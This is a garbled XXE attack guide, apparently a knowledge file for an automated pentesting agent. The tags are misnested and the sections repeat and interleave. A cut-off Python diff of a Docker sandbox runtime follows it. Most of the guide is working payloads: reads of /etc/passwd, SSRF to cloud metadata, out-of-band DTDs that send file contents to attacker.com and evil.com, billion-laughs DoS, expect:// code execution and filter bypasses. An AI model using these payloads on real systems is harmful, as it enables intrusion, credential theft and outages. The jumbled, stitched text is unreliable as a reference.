<discovery_points>
|
||||
- XML file uploads (docx, xlsx, svg, xml)
|
||||
- SOAP endpoints
|
||||
- REST APIs accepting XML
|
||||
- SAML implementations
|
||||
- RSS/Atom feeds
|
||||
- XML configuration files
|
||||
- WebDAV
|
||||
- Office document processors
|
||||
- SVG image uploads
|
||||
- PDF generators with XML input
|
||||
</discovery_points>
|
||||
<scope>
|
||||
- File disclosure: read server files and configuration
|
||||
- SSRF: reach metadata services, internal admin panels, service ports
|
||||
- DoS: entity expansion (billion laughs), external resource amplification
|
||||
- Injection surfaces: REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office), PDF generators, build/report pipelines, config importers
|
||||
- Transclusion: XInclude and XSLT document() loading external resources
|
||||
</scope>
|
||||
|
||||
<basic_payloads>
|
||||
<file_disclosure>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<root>&xxe;</root>
|
||||
<methodology>
|
||||
1. Inventory all XML consumers: endpoints, upload parsers, background jobs, CLI tools, converters, and third-party SDKs.
|
||||
2. Start with capability probes: does the parser accept DOCTYPE? resolve external entities? allow network access? support XInclude/XSLT?
|
||||
3. Establish a quiet oracle (error shape, length/ETag diffs, OAST callbacks), then escalate to targeted file/SSRF payloads.
|
||||
4. Validate per-channel parity: the same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs.
|
||||
</methodology>
|
||||
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
|
||||
<root>&xxe;</root>
|
||||
</file_disclosure>
|
||||
<discovery_techniques>
|
||||
<surface_map>
|
||||
- File uploads: SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives, Android/iOS plist, project config imports
|
||||
- Protocols: SOAP/XML-RPC/WebDAV/SAML (ACS endpoints), RSS/Atom feeds, server-side renderers and converters
|
||||
- Hidden paths: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude" parameters; processing-instruction headers
|
||||
</surface_map>
|
||||
|
||||
<ssrf_via_xxe>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
|
||||
<root>&xxe;</root>
|
||||
</ssrf_via_xxe>
|
||||
<capability_probes>
|
||||
- Minimal DOCTYPE: attempt a harmless internal entity to detect acceptance without causing side effects
|
||||
- External fetch test: point to an OAST URL to confirm egress; prefer DNS first, then HTTP
|
||||
- XInclude probe: add xi:include to see if transclusion is enabled
|
||||
- XSLT probe: xml-stylesheet PI or transform endpoints that accept stylesheets
|
||||
</capability_probes>
|
||||
</discovery_techniques>
|
||||
|
||||
<blind_xxe_oob>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
|
||||
<detection_channels>
|
||||
<direct>
|
||||
- Inline disclosure of entity content in the HTTP response, transformed output, or error pages
|
||||
</direct>
|
||||
|
||||
<error_based>
|
||||
- Coerce parser errors that leak path fragments or file content via interpolated messages
|
||||
</error_based>
|
||||
|
||||
<oast>
|
||||
- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
|
||||
- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
|
||||
</oast>
|
||||
|
||||
<timing>
|
||||
- Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
|
||||
</timing>
|
||||
</detection_channels>
|
||||
|
||||
<core_payloads>
|
||||
<local_file>
|
||||
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<r>&xxe;</r>
|
||||
|
||||
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
|
||||
<r>&xxe;</r>
|
||||
</local_file>
|
||||
|
||||
<ssrf>
|
||||
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
|
||||
<r>&xxe;</r>
|
||||
|
||||
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
|
||||
<r>&xxe;</r>
|
||||
</ssrf>
|
||||
|
||||
<oob_parameter_entity>
|
||||
<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
|
||||
|
||||
evil.dtd:
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
|
||||
%eval;
|
||||
%exfiltrate;
|
||||
</blind_xxe_oob>
|
||||
</basic_payloads>
|
||||
<!ENTITY % f SYSTEM "file:///etc/hostname">
|
||||
<!ENTITY % e "<!ENTITY % exfil SYSTEM 'http://%f;.attacker.tld/'>">
|
||||
%e; %exfil;
|
||||
</oob_parameter_entity>
|
||||
</core_payloads>
|
||||
|
||||
<advanced_techniques>
|
||||
<parameter_entities>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'http://evil.com/?d=%data;'>">
|
||||
%param;
|
||||
%exfil;
|
||||
]>
|
||||
- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content; works even when general entities are sanitized in the XML tree
|
||||
</parameter_entities>
|
||||
|
||||
<error_based_xxe>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
||||
%eval;
|
||||
%error;
|
||||
]>
|
||||
</error_based_xxe>
|
||||
|
||||
<xxe_in_attributes>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<root attr="&xxe;"/>
|
||||
</xxe_in_attributes>
|
||||
</advanced_techniques>
|
||||
|
||||
<filter_bypasses>
|
||||
<encoding_tricks>
|
||||
- UTF-16: <?xml version="1.0" encoding="UTF-16"?>
|
||||
- UTF-7: <?xml version="1.0" encoding="UTF-7"?>
|
||||
- Base64 in CDATA: <![CDATA[base64_payload]]>
|
||||
</encoding_tricks>
|
||||
|
||||
<protocol_variations>
|
||||
- file:// → file:
|
||||
- file:// → netdoc://
|
||||
- http:// → https://
|
||||
- Gopher: gopher://
|
||||
- PHP wrappers: php://filter/convert.base64-encode/resource=/etc/passwd
|
||||
</protocol_variations>
|
||||
|
||||
<doctype_variations>
|
||||
<!doctype foo [
|
||||
<!DoCtYpE foo [
|
||||
<!DOCTYPE foo PUBLIC "Any" "http://evil.com/evil.dtd">
|
||||
<!DOCTYPE foo SYSTEM "http://evil.com/evil.dtd">
|
||||
</doctype_variations>
|
||||
</filter_bypasses>
|
||||
|
||||
<specific_contexts>
|
||||
<json_xxe>
|
||||
{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}
|
||||
</json_xxe>
|
||||
|
||||
<soap_xxe>
|
||||
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<foo>&xxe;</foo>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
</soap_xxe>
|
||||
|
||||
<svg_xxe>
|
||||
<svg xmlns="http://www.w3.org/2000/svg">
|
||||
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<text>&xxe;</text>
|
||||
</svg>
|
||||
</svg_xxe>
|
||||
|
||||
<docx_xlsx_xxe>
|
||||
1. Unzip document
|
||||
2. Edit document.xml or similar
|
||||
3. Add XXE payload
|
||||
4. Rezip and upload
|
||||
</docx_xlsx_xxe>
|
||||
</specific_contexts>
|
||||
|
||||
<blind_xxe_techniques>
|
||||
<dns_exfiltration>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % data SYSTEM "file:///etc/hostname">
|
||||
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'http://%data;.attacker.com/'>">
|
||||
%param;
|
||||
%exfil;
|
||||
]>
|
||||
</dns_exfiltration>
|
||||
|
||||
<ftp_exfiltration>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'ftp://attacker.com:2121/%data;'>">
|
||||
%param;
|
||||
%exfil;
|
||||
]>
|
||||
</ftp_exfiltration>
|
||||
|
||||
<php_wrappers>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
|
||||
]>
|
||||
<root>&xxe;</root>
|
||||
</php_wrappers>
|
||||
</blind_xxe_techniques>
|
||||
|
||||
<xxe_to_rce>
|
||||
<expect_module>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
|
||||
<root>&xxe;</root>
|
||||
</expect_module>
|
||||
|
||||
<file_upload_lfi>
|
||||
1. Upload malicious PHP via XXE
|
||||
2. Include via LFI or direct access
|
||||
</file_upload_lfi>
|
||||
|
||||
<java_specific>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///tmp/evil.jar!/evil.class">]>
|
||||
</java_specific>
|
||||
</xxe_to_rce>
|
||||
|
||||
<denial_of_service>
|
||||
<billion_laughs>
|
||||
<!DOCTYPE lolz [
|
||||
<!ENTITY lol "lol">
|
||||
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
|
||||
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||
]>
|
||||
<lolz>&lol5;</lolz>
|
||||
</billion_laughs>
|
||||
|
||||
<external_dtd_dos>
|
||||
<!DOCTYPE foo SYSTEM "http://slow-server.com/huge.dtd">
|
||||
</external_dtd_dos>
|
||||
</denial_of_service>
|
||||
|
||||
<modern_bypasses>
|
||||
<xinclude>
|
||||
<root xmlns:xi="http://www.w3.org/2001/XInclude">
|
||||
<xi:include parse="text" href="file:///etc/passwd"/>
|
||||
</root>
|
||||
- Effective where entity resolution is blocked but XInclude remains enabled in the pipeline
|
||||
</xinclude>
|
||||
|
||||
<xslt>
|
||||
<xslt_document>
|
||||
- XSLT processors can fetch external resources via document():
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="/">
|
||||
<xsl:copy-of select="document('file:///etc/passwd')"/>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
</xslt>
|
||||
</modern_bypasses>
|
||||
- Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers
|
||||
</xslt_document>
|
||||
|
||||
<parser_specific>
|
||||
<java>
|
||||
- Supports jar: protocol
|
||||
- External DTDs by default
|
||||
- Parameter entities work
|
||||
</java>
|
||||
<protocol_wrappers>
|
||||
- Java: jar:, netdoc:
|
||||
- PHP: php://filter, expect:// (when module enabled)
|
||||
- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
|
||||
</protocol_wrappers>
|
||||
</advanced_techniques>
|
||||
|
||||
<dotnet>
|
||||
- Supports file:// by default
|
||||
- DTD processing varies by version
|
||||
</dotnet>
|
||||
<filter_bypasses>
|
||||
<encoding_variants>
|
||||
- UTF-16/UTF-7 declarations, mixed newlines, CDATA and comments to evade naive filters
|
||||
</encoding_variants>
|
||||
|
||||
<php>
|
||||
- libxml2 based
|
||||
- expect:// protocol with expect module
|
||||
- php:// wrappers
|
||||
</php>
|
||||
<doctype_variants>
|
||||
- PUBLIC vs SYSTEM, mixed case <!DoCtYpE>, internal vs external subsets, multi-DOCTYPE edge handling
|
||||
</doctype_variants>
|
||||
|
||||
<python>
|
||||
- Default parsers often vulnerable
|
||||
- lxml safer than xml.etree
|
||||
</python>
|
||||
</parser_specific>
|
||||
<network_controls>
|
||||
- If network blocked but filesystem readable, pivot to local file disclosure; if files blocked but network open, pivot to SSRF/OAST
|
||||
</network_controls>
|
||||
</filter_bypasses>
|
||||
|
||||
<validation_testing>
|
||||
<detection>
|
||||
1. Basic entity test: &xxe;
|
||||
2. External DTD: http://attacker.com/test.dtd
|
||||
3. Parameter entity: %xxe;
|
||||
4. Time-based: DTD with slow server
|
||||
5. DNS lookup: http://test.attacker.com/
|
||||
</detection>
|
||||
<special_contexts>
|
||||
<soap>
|
||||
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<d>&xxe;</d>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
</soap>
|
||||
|
||||
<saml>
|
||||
- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude; test ACS endpoints with minimal probes
|
||||
</saml>
|
||||
|
||||
<svg_and_renderers>
|
||||
- Inline SVG and server-side SVG→PNG/PDF renderers process XML; attempt local file reads via entities/XInclude
|
||||
</svg_and_renderers>
|
||||
|
||||
<office_docs>
|
||||
- OOXML (docx/xlsx/pptx) are ZIPs containing XML; insert payloads into document.xml, rels, or drawing XML and repackage
|
||||
</office_docs>
|
||||
</special_contexts>
|
||||
|
||||
<validation>
|
||||
1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT).
|
||||
2. Demonstrate controlled access (file path or internal URL) with reproducible evidence.
|
||||
3. Confirm blind channels with OAST and correlate to the triggering request.
|
||||
4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths).
|
||||
5. Bound impact: exact files/data reached or internal targets proven.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Entity declared but not processed
|
||||
- DTD loaded but entities blocked
|
||||
- Output encoding preventing exploitation
|
||||
- Limited file access (chroot/sandbox)
|
||||
- DOCTYPE accepted but entities not resolved and no transclusion reachable
|
||||
- Filters or sandboxes that emit entity strings literally (no IO performed)
|
||||
- Mocks/stubs that simulate success without network/file access
|
||||
- XML processed only client-side (no server parse)
|
||||
</false_positives>
|
||||
</validation_testing>
|
||||
|
||||
<impact_demonstration>
|
||||
1. Read sensitive files (/etc/passwd, web.config)
|
||||
2. Cloud metadata access (AWS keys)
|
||||
3. Internal network scanning (SSRF)
|
||||
4. Data exfiltration proof
|
||||
5. DoS demonstration
|
||||
6. RCE if possible
|
||||
</impact_demonstration>
|
||||
|
||||
<automation>
|
||||
# XXE Scanner
|
||||
def test_xxe(url, param):
|
||||
payloads = [
|
||||
'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
|
||||
'<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/"> %xxe;]><foo/>',
|
||||
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
|
||||
]
|
||||
|
||||
for payload in payloads:
|
||||
response = requests.post(url, data={param: payload})
|
||||
if 'root:' in response.text or check_callback():
|
||||
return f"XXE found with: {payload}"
|
||||
</automation>
|
||||
<impact>
|
||||
- Disclosure of credentials/keys/configs, code, and environment secrets
|
||||
- Access to cloud metadata/token services and internal admin panels
|
||||
- Denial of service via entity expansion or slow external resources
|
||||
- Code execution via XSLT/expect:// in insecure stacks
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Try all protocols, not just file://
|
||||
2. Use parameter entities for blind XXE
|
||||
3. Chain with SSRF for cloud metadata
|
||||
4. Test different encodings (UTF-16)
|
||||
5. Don't forget JSON/SOAP contexts
|
||||
6. XInclude when entities are blocked
|
||||
7. Error messages reveal file paths
|
||||
8. Monitor DNS for blind confirmation
|
||||
9. Some parsers allow network access but not files
|
||||
10. Modern frameworks disable XXE by default - check configs
|
||||
1. Prefer OAST first; it is the quietest confirmation in production-like paths.
|
||||
2. When content is sanitized, use error-based and length/ETag diffs.
|
||||
3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled.
|
||||
4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts.
|
||||
5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly.
|
||||
6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS.
|
||||
7. Test background processors separately; they often use different parser settings.
|
||||
8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE.
|
||||
9. Combine with path traversal and deserialization where XML touches downstream systems.
|
||||
10. Document exact parser behavior per stack; defenses must match real libraries and flags.
|
||||
</pro_tips>
|
||||
|
||||
<remember>XXE is about understanding parser behavior. Different parsers have different features and restrictions. Always test comprehensively and demonstrate maximum impact.</remember>
|
||||
<remember>XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.</remember>
|
||||
</xxe_vulnerability_guide>
|
||||
|
||||
+294
-166
@@ -1,3 +1,4 @@
|
||||
import contextlib
|
||||
import logging
|
||||
import os
|
||||
import secrets
|
||||
@@ -7,19 +8,15 @@ from pathlib import Path
|
||||
from typing import cast
|
||||
|
||||
import docker
|
||||
from docker.errors import DockerException, NotFound
|
||||
from docker.errors import DockerException, ImageNotFound, NotFound
|
||||
from docker.models.containers import Container
|
||||
|
||||
from .runtime import AbstractRuntime, SandboxInfo
|
||||
|
||||
|
||||
STRIX_AGENT_LABEL = "StrixAgent_ID"
|
||||
STRIX_SCAN_LABEL = "StrixScan_ID"
|
||||
STRIX_IMAGE = os.getenv("STRIX_IMAGE", "ghcr.io/usestrix/strix-sandbox:0.1.4")
|
||||
STRIX_IMAGE = os.getenv("STRIX_IMAGE", "ghcr.io/usestrix/strix-sandbox:0.1.10")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_initialized_volumes: set[str] = set()
|
||||
|
||||
|
||||
class DockerRuntime(AbstractRuntime):
|
||||
def __init__(self) -> None:
|
||||
@@ -29,12 +26,21 @@ class DockerRuntime(AbstractRuntime):
|
||||
logger.exception("Failed to connect to Docker daemon")
|
||||
raise RuntimeError("Docker is not available or not configured correctly.") from e
|
||||
|
||||
self._scan_container: Container | None = None
|
||||
self._tool_server_port: int | None = None
|
||||
self._tool_server_token: str | None = None
|
||||
|
||||
def _generate_sandbox_token(self) -> str:
|
||||
return secrets.token_urlsafe(32)
|
||||
|
||||
def _find_available_port(self) -> int:
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||
s.bind(("", 0))
|
||||
return cast("int", s.getsockname()[1])
|
||||
|
||||
def _get_scan_id(self, agent_id: str) -> str:
|
||||
try:
|
||||
from strix.cli.tracer import get_global_tracer
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
tracer = get_global_tracer()
|
||||
if tracer and tracer.scan_config:
|
||||
@@ -46,226 +52,348 @@ class DockerRuntime(AbstractRuntime):
|
||||
|
||||
return f"scan-{agent_id.split('-')[0]}"
|
||||
|
||||
def _find_available_port(self) -> int:
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||
s.bind(("", 0))
|
||||
return cast("int", s.getsockname()[1])
|
||||
def _verify_image_available(self, image_name: str, max_retries: int = 3) -> None:
|
||||
def _validate_image(image: docker.models.images.Image) -> None:
|
||||
if not image.id or not image.attrs:
|
||||
raise ImageNotFound(f"Image {image_name} metadata incomplete")
|
||||
|
||||
def _get_workspace_volume_name(self, scan_id: str) -> str:
|
||||
return f"strix-workspace-{scan_id}"
|
||||
for attempt in range(max_retries):
|
||||
try:
|
||||
image = self.client.images.get(image_name)
|
||||
_validate_image(image)
|
||||
except ImageNotFound:
|
||||
if attempt == max_retries - 1:
|
||||
logger.exception(f"Image {image_name} not found after {max_retries} attempts")
|
||||
raise
|
||||
logger.warning(f"Image {image_name} not ready, attempt {attempt + 1}/{max_retries}")
|
||||
time.sleep(2**attempt)
|
||||
except DockerException:
|
||||
if attempt == max_retries - 1:
|
||||
logger.exception(f"Failed to verify image {image_name}")
|
||||
raise
|
||||
logger.warning(f"Docker error verifying image, attempt {attempt + 1}/{max_retries}")
|
||||
time.sleep(2**attempt)
|
||||
else:
|
||||
logger.debug(f"Image {image_name} verified as available")
|
||||
return
|
||||
|
||||
def _create_container_with_retry(self, scan_id: str, max_retries: int = 3) -> Container:
|
||||
last_exception = None
|
||||
container_name = f"strix-scan-{scan_id}"
|
||||
|
||||
for attempt in range(max_retries):
|
||||
try:
|
||||
self._verify_image_available(STRIX_IMAGE)
|
||||
|
||||
try:
|
||||
existing_container = self.client.containers.get(container_name)
|
||||
logger.warning(f"Container {container_name} already exists, removing it")
|
||||
with contextlib.suppress(Exception):
|
||||
existing_container.stop(timeout=5)
|
||||
existing_container.remove(force=True)
|
||||
time.sleep(1)
|
||||
except NotFound:
|
||||
pass
|
||||
except DockerException as e:
|
||||
logger.warning(f"Error checking/removing existing container: {e}")
|
||||
|
||||
caido_port = self._find_available_port()
|
||||
tool_server_port = self._find_available_port()
|
||||
tool_server_token = self._generate_sandbox_token()
|
||||
|
||||
self._tool_server_port = tool_server_port
|
||||
self._tool_server_token = tool_server_token
|
||||
|
||||
container = self.client.containers.run(
|
||||
STRIX_IMAGE,
|
||||
command="sleep infinity",
|
||||
detach=True,
|
||||
name=container_name,
|
||||
hostname=f"strix-scan-{scan_id}",
|
||||
ports={
|
||||
f"{caido_port}/tcp": caido_port,
|
||||
f"{tool_server_port}/tcp": tool_server_port,
|
||||
},
|
||||
cap_add=["NET_ADMIN", "NET_RAW"],
|
||||
labels={"strix-scan-id": scan_id},
|
||||
environment={
|
||||
"PYTHONUNBUFFERED": "1",
|
||||
"CAIDO_PORT": str(caido_port),
|
||||
"TOOL_SERVER_PORT": str(tool_server_port),
|
||||
"TOOL_SERVER_TOKEN": tool_server_token,
|
||||
},
|
||||
tty=True,
|
||||
)
|
||||
|
||||
self._scan_container = container
|
||||
logger.info("Created container %s for scan %s", container.id, scan_id)
|
||||
|
||||
self._initialize_container(
|
||||
container, caido_port, tool_server_port, tool_server_token
|
||||
)
|
||||
except DockerException as e:
|
||||
last_exception = e
|
||||
if attempt == max_retries - 1:
|
||||
logger.exception(f"Failed to create container after {max_retries} attempts")
|
||||
break
|
||||
|
||||
logger.warning(f"Container creation attempt {attempt + 1}/{max_retries} failed")
|
||||
|
||||
self._tool_server_port = None
|
||||
self._tool_server_token = None
|
||||
|
||||
sleep_time = (2**attempt) + (0.1 * attempt)
|
||||
time.sleep(sleep_time)
|
||||
else:
|
||||
return container
|
||||
|
||||
raise RuntimeError(
|
||||
f"Failed to create Docker container after {max_retries} attempts: {last_exception}"
|
||||
) from last_exception
|
||||
|
||||
def _get_or_create_scan_container(self, scan_id: str) -> Container: # noqa: PLR0912
|
||||
container_name = f"strix-scan-{scan_id}"
|
||||
|
||||
if self._scan_container:
|
||||
try:
|
||||
self._scan_container.reload()
|
||||
if self._scan_container.status == "running":
|
||||
return self._scan_container
|
||||
except NotFound:
|
||||
self._scan_container = None
|
||||
self._tool_server_port = None
|
||||
self._tool_server_token = None
|
||||
|
||||
try:
|
||||
container = self.client.containers.get(container_name)
|
||||
container.reload()
|
||||
|
||||
if (
|
||||
"strix-scan-id" not in container.labels
|
||||
or container.labels["strix-scan-id"] != scan_id
|
||||
):
|
||||
logger.warning(
|
||||
f"Container {container_name} exists but missing/wrong label, updating"
|
||||
)
|
||||
|
||||
if container.status != "running":
|
||||
logger.info(f"Starting existing container {container_name}")
|
||||
container.start()
|
||||
time.sleep(2)
|
||||
|
||||
self._scan_container = container
|
||||
|
||||
for env_var in container.attrs["Config"]["Env"]:
|
||||
if env_var.startswith("TOOL_SERVER_PORT="):
|
||||
self._tool_server_port = int(env_var.split("=")[1])
|
||||
elif env_var.startswith("TOOL_SERVER_TOKEN="):
|
||||
self._tool_server_token = env_var.split("=")[1]
|
||||
|
||||
logger.info(f"Reusing existing container {container_name}")
|
||||
|
||||
except NotFound:
|
||||
pass
|
||||
except DockerException as e:
|
||||
logger.warning(f"Failed to get container by name {container_name}: {e}")
|
||||
else:
|
||||
return container
|
||||
|
||||
def _get_sandbox_by_agent_id(self, agent_id: str) -> Container | None:
|
||||
try:
|
||||
containers = self.client.containers.list(
|
||||
filters={"label": f"{STRIX_AGENT_LABEL}={agent_id}"}
|
||||
all=True, filters={"label": f"strix-scan-id={scan_id}"}
|
||||
)
|
||||
if not containers:
|
||||
return None
|
||||
if len(containers) > 1:
|
||||
logger.warning(
|
||||
"Multiple sandboxes found for agent ID %s, using the first one.", agent_id
|
||||
)
|
||||
return cast("Container", containers[0])
|
||||
if containers:
|
||||
container = cast("Container", containers[0])
|
||||
if container.status != "running":
|
||||
container.start()
|
||||
time.sleep(2)
|
||||
self._scan_container = container
|
||||
|
||||
for env_var in container.attrs["Config"]["Env"]:
|
||||
if env_var.startswith("TOOL_SERVER_PORT="):
|
||||
self._tool_server_port = int(env_var.split("=")[1])
|
||||
elif env_var.startswith("TOOL_SERVER_TOKEN="):
|
||||
self._tool_server_token = env_var.split("=")[1]
|
||||
|
||||
logger.info(f"Found existing container by label for scan {scan_id}")
|
||||
return container
|
||||
except DockerException as e:
|
||||
logger.warning("Failed to get sandbox by agent ID %s: %s", agent_id, e)
|
||||
return None
|
||||
logger.warning("Failed to find existing container by label for scan %s: %s", scan_id, e)
|
||||
|
||||
def _ensure_workspace_volume(self, volume_name: str) -> None:
|
||||
try:
|
||||
self.client.volumes.get(volume_name)
|
||||
logger.info(f"Using existing workspace volume: {volume_name}")
|
||||
except NotFound:
|
||||
self.client.volumes.create(name=volume_name, driver="local")
|
||||
logger.info(f"Created new workspace volume: {volume_name}")
|
||||
logger.info("Creating new Docker container for scan %s", scan_id)
|
||||
return self._create_container_with_retry(scan_id)
|
||||
|
||||
def _copy_local_directory_to_container(self, container: Container, local_path: str) -> None:
|
||||
def _initialize_container(
|
||||
self, container: Container, caido_port: int, tool_server_port: int, tool_server_token: str
|
||||
) -> None:
|
||||
logger.info("Initializing Caido proxy on port %s", caido_port)
|
||||
result = container.exec_run(
|
||||
f"bash -c 'export CAIDO_PORT={caido_port} && /usr/local/bin/docker-entrypoint.sh true'",
|
||||
detach=False,
|
||||
)
|
||||
|
||||
time.sleep(5)
|
||||
|
||||
result = container.exec_run(
|
||||
"bash -c 'source /etc/profile.d/proxy.sh && echo $CAIDO_API_TOKEN'", user="pentester"
|
||||
)
|
||||
caido_token = result.output.decode().strip() if result.exit_code == 0 else ""
|
||||
|
||||
container.exec_run(
|
||||
f"bash -c 'source /etc/profile.d/proxy.sh && cd /app && "
|
||||
f"STRIX_SANDBOX_MODE=true CAIDO_API_TOKEN={caido_token} CAIDO_PORT={caido_port} "
|
||||
f"poetry run python strix/runtime/tool_server.py --token {tool_server_token} "
|
||||
f"--host 0.0.0.0 --port {tool_server_port} &'",
|
||||
detach=True,
|
||||
user="pentester",
|
||||
)
|
||||
|
||||
time.sleep(5)
|
||||
|
||||
def _copy_local_directory_to_container(
|
||||
self, container: Container, local_path: str, target_name: str | None = None
|
||||
) -> None:
|
||||
import tarfile
|
||||
from io import BytesIO
|
||||
|
||||
try:
|
||||
local_path_obj = Path(local_path).resolve()
|
||||
if not local_path_obj.exists() or not local_path_obj.is_dir():
|
||||
logger.warning(f"Local path does not exist or is not a directory: {local_path_obj}")
|
||||
logger.warning(f"Local path does not exist or is not directory: {local_path_obj}")
|
||||
return
|
||||
|
||||
logger.info(f"Copying local directory {local_path_obj} to container {container.id}")
|
||||
if target_name:
|
||||
logger.info(
|
||||
f"Copying local directory {local_path_obj} to container at "
|
||||
f"/workspace/{target_name}"
|
||||
)
|
||||
else:
|
||||
logger.info(f"Copying local directory {local_path_obj} to container")
|
||||
|
||||
tar_buffer = BytesIO()
|
||||
with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
|
||||
for item in local_path_obj.rglob("*"):
|
||||
if item.is_file():
|
||||
arcname = item.relative_to(local_path_obj)
|
||||
rel_path = item.relative_to(local_path_obj)
|
||||
arcname = Path(target_name) / rel_path if target_name else rel_path
|
||||
tar.add(item, arcname=arcname)
|
||||
|
||||
tar_buffer.seek(0)
|
||||
|
||||
container.put_archive("/shared_workspace", tar_buffer.getvalue())
|
||||
container.put_archive("/workspace", tar_buffer.getvalue())
|
||||
|
||||
container.exec_run(
|
||||
"chown -R pentester:pentester /shared_workspace && chmod -R 755 /shared_workspace",
|
||||
"chown -R pentester:pentester /workspace && chmod -R 755 /workspace",
|
||||
user="root",
|
||||
)
|
||||
|
||||
logger.info(
|
||||
f"Successfully copied {local_path_obj} to /shared_workspace in container "
|
||||
f"{container.id}"
|
||||
)
|
||||
logger.info("Successfully copied local directory to /workspace")
|
||||
|
||||
except (OSError, DockerException):
|
||||
logger.exception("Failed to copy local directory to container")
|
||||
|
||||
async def create_sandbox(
|
||||
self, agent_id: str, existing_token: str | None = None, local_source_path: str | None = None
|
||||
self,
|
||||
agent_id: str,
|
||||
existing_token: str | None = None,
|
||||
local_sources: list[dict[str, str]] | None = None,
|
||||
) -> SandboxInfo:
|
||||
sandbox = self._get_sandbox_by_agent_id(agent_id)
|
||||
auth_token = existing_token or self._generate_sandbox_token()
|
||||
|
||||
scan_id = self._get_scan_id(agent_id)
|
||||
volume_name = self._get_workspace_volume_name(scan_id)
|
||||
container = self._get_or_create_scan_container(scan_id)
|
||||
|
||||
self._ensure_workspace_volume(volume_name)
|
||||
source_copied_key = f"_source_copied_{scan_id}"
|
||||
